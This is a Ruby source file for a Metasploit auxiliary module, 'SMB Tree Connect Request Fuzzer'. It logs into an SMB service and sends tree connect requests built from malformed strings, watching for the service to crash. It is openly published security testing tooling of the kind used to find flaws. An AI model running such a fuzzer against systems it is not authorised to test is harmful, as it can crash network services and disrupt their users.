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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Auxiliary::Fuzzer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'SMB Tree Connect Request Fuzzer',
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      'Description'    => %q{
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        This module sends a series of SMB tree connect
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      requests using malicious strings.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE
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    ))
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  end
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  def do_smb_connect(pkt,opts={})
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    @connected = false
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    connect
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    simple.login(
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      datastore['SMBName'],
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      datastore['SMBUser'],
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      datastore['SMBPass'],
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      datastore['SMBDomain']
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    )
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    @connected = true
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    simple.connect("\\\\#{datastore['RHOST']}\\#{pkt}")
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  end
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  def run
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    last_str = nil
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    last_inp = nil
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    last_err = nil
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    cnt = 0
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    fuzz_strings do |str|
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      cnt += 1
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      if(cnt % 100 == 0)
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        print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
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      end
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      begin
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        do_smb_connect(str, 0.25)
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      rescue ::Interrupt
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        print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
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        raise $!
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      rescue ::Exception => e
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        last_err = e
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      ensure
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        disconnect
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      end
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      if(not @connected)
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        if(last_str)
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          print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
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        else
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          print_status("Could not connect to the service: #{last_err}")
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        end
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        return
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      end
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      last_str = str
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      last_inp = @last_fuzzer_input
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    end
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  end
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end
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